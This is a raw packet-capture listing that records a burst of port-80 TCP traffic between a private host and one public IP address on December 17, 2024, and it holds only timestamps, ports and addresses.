Dec 17, 2024 10:09:06.527628899 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.527679920 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.528414011 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.528517962 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.528536081 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.528578043 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.529418945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.529587030 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.529608965 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.529705048 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.530383110 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.530489922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.530509949 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.530556917 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.531410933 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.531511068 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.531531096 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.531558990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.532358885 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.532464027 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.532737017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.533390045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.533473015 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.533544064 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.533642054 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.534267902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.534332991 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.534336090 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.534375906 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.535303116 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.535356998 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.535372972 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.535429955 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.536362886 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.536446095 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.536469936 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.536669016 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.537231922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.537337065 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.537394047 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.537394047 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.538183928 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.538263083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.538440943 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.538441896 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.539202929 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.539295912 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.539333105 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.539402962 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.540157080 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.540215969 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.540235043 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.540357113 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.541094065 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.541234970 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.541243076 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.541316032 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.542165995 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.542264938 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.542283058 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.542325974 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.543112040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.543157101 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.543239117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.543287992 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.544022083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.544154882 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.544174910 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.544215918 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.544991970 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.545073986 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.545120001 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.545989990 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.546035051 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.546058893 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.546076059 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.547086954 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.547146082 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.547249079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.547363997 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.548084021 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.548216105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.548223972 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.548297882 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.548929930 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.548949003 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.549010038 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.549010038 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.600260973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.600291967 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.600430965 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.600626945 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.600692987 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.600734949 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.600816011 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.601588964 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.601691961 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.601702929 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.601866007 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.602602959 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.602663040 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.602698088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.603327990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.603564024 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.603631973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.603653908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.603715897 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.604573011 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.604650021 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.604691029 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.604830027 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.605509996 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.605613947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.605619907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.605696917 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.606513977 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.606601000 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.606616974 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.606786966 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.607490063 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.607578993 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.607610941 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.607703924 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.608417988 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.608477116 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.608484983 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.608546019 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.649139881 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.649204016 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.649274111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.649274111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.649504900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.649570942 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.649600029 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.649734974 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.650480032 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.650577068 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.650582075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.650636911 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.651537895 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.651593924 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.651609898 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.651669025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.652550936 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.652594090 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.652630091 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.652699947 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.653417110 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.653460026 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.653501987 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.653713942 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.654386997 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.654453039 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.654522896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.654568911 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.655339956 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.655401945 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.655436039 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.655529022 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.656346083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.656419992 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.656471014 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.656558990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.657327890 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.657396078 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.657428026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.657635927 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.658265114 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.658325911 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.658368111 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.658428907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.659264088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.659353971 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.659385920 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.659432888 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.660226107 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.660331011 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.660365105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.660474062 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.661191940 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.661252975 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.661293983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.661412001 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.662172079 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.662324905 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.662353992 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.662393093 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.663187981 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.663263083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.663374901 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.663438082 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.664170980 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.664223909 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.664222956 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.664762974 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.716093063 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.716161966 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.716212988 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.716263056 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.716496944 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.716545105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.716574907 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.716651917 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.717420101 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.717514992 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.717559099 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.717559099 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.718384981 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.718579054 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.718611956 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.718648911 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.719388008 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.719505072 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.719507933 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.719592094 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.720356941 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.720412970 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.720745087 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.721323013 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.721468925 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.721482038 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.721554041 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.722327948 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.722435951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.722462893 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.722537041 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.723376989 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.723390102 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.723980904 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.724252939 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.724312067 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.724366903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.724607944 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.725217104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.725270987 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.725328922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.725389957 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.726217031 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.726259947 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.726332903 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.726381063 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.727210045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.727221966 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.727304935 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.728277922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.728352070 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.728369951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.728626013 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.729159117 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.729222059 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.729239941 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.729301929 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.730113029 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.730165958 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.730209112 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.730276108 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.731070042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.731137037 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.731215954 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.731261015 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.732063055 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.732117891 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.732239008 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.732295990 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.733028889 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.733104944 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.733118057 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.733306885 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.733992100 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.734066010 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.734097004 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.734157085 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.734968901 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.735074043 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.735145092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.735213995 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.735944986 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.736000061 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.736042023 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.736238956 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.736958027 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.737020969 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.737077951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.737318993 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.737932920 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.738042116 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.738085985 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.738584995 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.738878012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.738969088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.739051104 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.739869118 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.739965916 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.740005970 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.740207911 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.740827084 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.740928888 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.741081953 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.741081953 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.792167902 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.792207003 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.792264938 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.792264938 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.792598009 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.792711973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.792823076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.792823076 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.793567896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.793690920 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.793734074 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.794073105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.794537067 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.794606924 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.794655085 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.794816017 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.795536041 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.795679092 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.795818090 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.795818090 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.796488047 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.796602964 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.796617031 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.797137976 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.797487974 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.797648907 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.797739983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.797900915 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.798450947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.798528910 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.798547029 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.798878908 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.799420118 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.799518108 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.799525976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.799614906 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.800395012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.800445080 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.800512075 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.800857067 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.841054916 CET	80	49812	185.215.113.206	192.168.2.6
